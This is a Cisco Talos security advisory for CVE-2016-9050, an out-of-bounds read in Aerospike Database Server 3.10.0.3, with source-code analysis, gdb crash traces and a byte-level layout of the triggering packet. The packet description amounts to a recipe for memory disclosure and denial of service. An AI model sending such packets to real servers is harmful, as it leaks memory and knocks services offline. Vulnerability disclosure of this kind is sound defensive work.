Talos Vulnerability Report

TALOS-2016-0264

Aerospike Database Server Client Message Memory Disclosure Vulnerability

January 9, 2017
CVE Number

CVE-2016-9050

Summary

An exploitable out-of-bounds read vulnerability exists in the client message-parsing functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause an out-of-bounds read resulting in disclosure of memory within the process, the same vulnerability can also be used to trigger a denial of service. An attacker can simply connect to the port and send the packet to trigger this vulnerability.

Tested Versions

Aerospike Database Server 3.10.0.3

Product URLs

https://github.com/aerospike/aerospike-server/tree/3.10.0.3

CVSSv3 Score

8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

CWE

CWE-129 - Improper Validation of Array Index

Details

Aerospike Database Server is both a distributed and scalable NoSQL database that is used as a back-end for scalable web applications that need a key-value store. With a focus on performance, it is multi-threaded and retains its indexes entirely in ram with the ability to persist data to a solid-state drive or traditional rotational media.

In order to receive a packet from the client, the server spawns threads which execute the thr_demarshal function. At the beginning of this function, the server will receive data from the socket and then validate the protocol type. If the protocol type specifies that the packet is compressed (PROTO_TYPE_AS_MSG_COMPRESSED), it will decompress it with zlib and then continue to process the packet [1]. Later, when the protocol type is PROTO_TYPE_AS_MSG the server will pass the packet to the thr_tsvc_process_or_enqueue function [2].

as/src/base/thr_demarshal.c:389
void *
thr_demarshal(void *unused)
{
...
    // Demarshal transactions from the socket.
...
        // Iterate over all events.
        for (i = 0; i < nevents; i++) {
...
                // If pointer is NULL, then we need to create a transaction and
                // store it in the buffer.
                if (fd_h->proto == NULL) {
...
                    // Do a preliminary read of the header into a stack-
                    // allocated structure, so that later on we can allocate the
                    // entire message buffer.
                    if (0 >= (n = cf_socket_recv(sock, &proto, sizeof(as_proto), MSG_WAITALL))) {
                        cf_detail(AS_DEMARSHAL, "proto socket: read header fail: error: rv %d sz was %d errno %d", n, sz, errno);
                        goto NextEvent_FD_Cleanup;
                    }
...
                // Check for a finished read.
                if (0 == fd_h->proto_unread) {
...
                    // Check if it's compressed.
                    if (tr.msgp->proto.type == PROTO_TYPE_AS_MSG_COMPRESSED) {      // [1]
...
                    }
...
                    // Either process the transaction directly in this thread,
                    // or queue it for processing by another thread (tsvc/info).
                    if (0 != thr_tsvc_process_or_enqueue(&tr)) {                    // [2]
                        cf_warning(AS_DEMARSHAL, "Failed to queue transaction to the service thread");
                        goto NextEvent_FD_Cleanup;
                    }

Inside the thr_tsvc_process_or_enqueue function, the server will call the as_msg_peek_data_in_memory function [1]. This function will extract the specified namespace as defined within the packet and check to see if the storage_data_in_memory field [2] is set. The value of this field is defined within the configuration for the service. If the value of this field for the namespace is clear, then the thr_tsvc_enqueue function will be called [3].

as/src/base/thr_tsvc.c:497
int
thr_tsvc_process_or_enqueue(as_transaction *tr)
{

    if (g_config.allow_inline_transactions &&
            g_config.n_namespaces_in_memory != 0 &&
                    (g_config.n_namespaces_not_in_memory == 0 ||
                            as_msg_peek_data_in_memory(&tr->msgp->msg))) {      // [1]  \
        process_transaction(tr);
        return 0;
    }

    // Transaction is for data-not-in-memory namespace - process via queues.
    return thr_tsvc_enqueue(tr);                                                // [3]
}
\
as/src/base/proto.c:693
bool
as_msg_peek_data_in_memory(const as_msg *m)
{
    as_msg_field *f = as_msg_field_get(m, AS_MSG_FIELD_TYPE_NAMESPACE);
...
    as_namespace *ns = as_namespace_get_bymsgfield(f);
...
    return ns && ns->storage_data_in_memory;                                    // [2]
}

The thr_tsvc_enqueue function will then check to see if the use_queue_per_device setting is specified within the configuration [1]. If this is the case, the server must peek into the packet to decide which device the transaction is to be written to [2]. Inside the as_msg_peek function, the server will read the AS_MSG_FIELD_TYPE_DIGEST_RIPE field out of the packet and store a pointer to the data in peek->keyd [3]. Due to this function not checking the minimum size of the field, an assumption made by the caller can be made to access data outside its bounds. This is done by the code at [4].

as/src/base/thr_tsvc.c:515
int
thr_tsvc_enqueue(as_transaction *tr)
{
...
    if (g_config.use_queue_per_device) {        // [1]
        // In queue-per-device mode, we must peek to find out which device (and
        // so which queue) this transaction is destined for.
        proto_peek ppeek;
        as_msg_peek(tr, &ppeek);                // [2]  \

        if (ppeek.ns_n_devices) {
...
            if (ppeek.info1 & AS_MSG_INFO1_READ) {
                n_q = (ppeek.keyd.digest[8] % ppeek.ns_n_devices) + ppeek.ns_queue_offset;                      // [4]
            }
            else {
                n_q = (ppeek.keyd.digest[8] % ppeek.ns_n_devices) + ppeek.ns_queue_offset + ppeek.ns_n_devices; // [4]
            }
        }
\
as/src/base/proto.c:709
void
as_msg_peek(const as_transaction *tr, proto_peek *peek)
{
    as_msg *m = &tr->msgp->msg;

    peek->info1 = m->info1;
    peek->keyd = cf_digest_zero;
    peek->ns_n_devices = 0;
    peek->ns_queue_offset = 0;

    as_msg_field *nf = as_msg_field_get(m, AS_MSG_FIELD_TYPE_NAMESPACE);
...
    as_namespace *ns = as_namespace_get_bymsgfield(nf);
...
    if (as_transaction_has_digest(tr)) {
        // Modern client, single record.

        as_msg_field *df = as_msg_field_get(m, AS_MSG_FIELD_TYPE_DIGEST_RIPE);  // [3]
        // Note - not checking size.

        peek->keyd = *(cf_digest *)df->data;

        return;
    }

Crash Information

# gdb -q -p `systemctl status aerospike.service | grep 'Main PID' | cut -d: -f2- | cut -d' ' -f2`

...
(gdb) b thr_tsvc_enqueue
Breakpoint 5 at 0x55323c: file base/thr_tsvc.c, line 524.

(gdb) b proto.c:742
Breakpoint 6 at 0x4fb13d: file base/proto.c, line 742.

(gdb) c
Continuing.

Breakpoint 5, thr_tsvc_enqueue (tr=0x7f52827f8930) at base/thr_tsvc.c:524
524             uint32_t n_q = 0;

(gdb) next
526             if (g_config.use_queue_per_device) {

(gdb)
530                     as_msg_peek(tr, &ppeek);

(gdb) c
Breakpoint 7, as_msg_peek (tr=0x7f52827f8930, peek=0x7f52827f8810)
    at base/proto.c:742
742                     peek->keyd = *(cf_digest *)df->data;

(gdb) db df->data L0x20
7f527c0c40eb | 04 30 2e 30 2e 31 3a 35 34 34 38 30 00 11 ff 01 | .0.0.1:54480....
7f527c0c40fb | 00 00 00 00 00 00 00 00 00 80 00 00 00 31 37 32 | .............172

(gdb) finish
Run till exit from #0  as_msg_peek (tr=0x7f52827f8930, peek=0x7f52827f8810)
    at base/proto.c:742
thr_tsvc_enqueue (tr=0x7f52827f8930) at base/thr_tsvc.c:532
532                     if (ppeek.ns_n_devices) {

(gdb) next
536                             if (ppeek.info1 & AS_MSG_INFO1_READ) {

(gdb)
540                                     n_q = (ppeek.keyd.digest[8] % ppeek.ns_n_devices) + ppeek.ns_queue_offset + ppeek.ns_n_devices;

(gdb) p ppeek.keyd.digest
$7 = "\004\060.0.1:54480\000\021\377\001\000\000\000"

Exploit Proof-of-Concept

To execute the proof-of-concept (note: this is only provided to the vendor), simply extract and run it as follows:

$ python poc hostname:3000 $namespace
Trying to connect to hostname:3000
Sending 0x2b byte packet... done.

A client packet for Aerospike server is encoded in big-endian form and has the following structure. The first two bytes describe the protocol version and the protocol type. The version must be 0x02, where the protocol type can be one of two values. If AS_COMPRESSED_MSG(0x04) is specified, then the contents of data are zlib-encoded. Otherwise, the AS_MSG(0x03) value is used. The size of this data is defined by the sz field which is a 48-bit unsigned integer.

<class aspie.as_proto_s>
[0] <instance aspie.proto_version 'version'> v2(0x2)
[1] <instance aspie.proto_type 'type'> AS_MSG(0x3)
[2] <instance uint48_t 'sz'> +0x000000000023 (35)
[8] <instance aspie.as_msg_s 'data'> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x04\x00\x62\x61\x72\x00\x00\x00\x01\x04"

The contents of the data field has the following structure. Within this structure, the only fields that are important are n_fields and fields which are the values returned by as_msg_field_get defined in the vulnerability description.

<class aspie.as_msg_s> 'data'
[8] <instance uint8_t 'header_sz'> +0x00 (0)
[9] <instance aspie.AS_MSG_INFO1 'info1'> {bits=8} (0x00, 8)
[a] <instance aspie.AS_MSG_INFO2 'info2'> {bits=8} (0x00, 8)
[b] <instance aspie.AS_MSG_INFO3 'info3'> {bits=8} (0x00, 8)
[c] <instance uint8_t 'unused'> +0x00 (0)
[d] <instance uint8_t 'result_code'> +0x00 (0)
[e] <instance uint32_t 'generation'> +0x00000000 (0)
[12] <instance uint32_t 'record_ttl'> +0x00000000 (0)
[16] <instance uint32_t 'transaction_ttl'> +0x00000000 (0)
[1a] <instance uint16_t 'n_fields'> +0x0002 (2)
[1c] <instance uint16_t 'n_ops'> +0x0000 (0)
[1e] <instance array(aspie.as_msg_field_s,2) 'fields'> aspie.as_msg_field_s[2] "\x00\x00\x00\x04\x00\x62\x61\x72\x00\x00\x00\x01\x04"
[2b] <instance array(aspie.as_msg_op_s,0) 'ops'> aspie.as_msg_op_s[0] ""

In order to reach the described vulnerability, there must be two field types defined within fields. These types are NAMESPACE(0x0) and DIGEST_RIPE(0x4). Each field-type contains a field_sz which defines the length of data and type. The contents of the NAMESPACE(0x0) field-type will be the namespace that a user is attempting to query. If the contents of the DIGEST_RIPE field type is greater than 0 and less than 8, then this vulnerability is being triggered.

<class aspie.as_msg_field_s> '0'
[1e] <instance uint32_t 'field_sz'> +0xXXXXXXXX (X)
[22] <instance aspie.AS_MSG_FIELD_TYPE 'type'> NAMESPACE(0x0)
[23] <instance aspie.as_msg_namespace_s<char_t> 'data'> ...

<class aspie.as_msg_field_s> '1'
[26] <instance uint32_t 'field_sz'> +0x00000001 (1)
[2a] <instance aspie.AS_MSG_FIELD_TYPE 'type'> DIGEST_RIPE(0x4)
[2b] <instance aspie.as_msg_digest_ripe_s 'data'> "X"

Timeline

2016-12-23 - Vendor Disclosure
2017-01-09 - Public Release

Credit

Discovered by the Cisco Talos Team.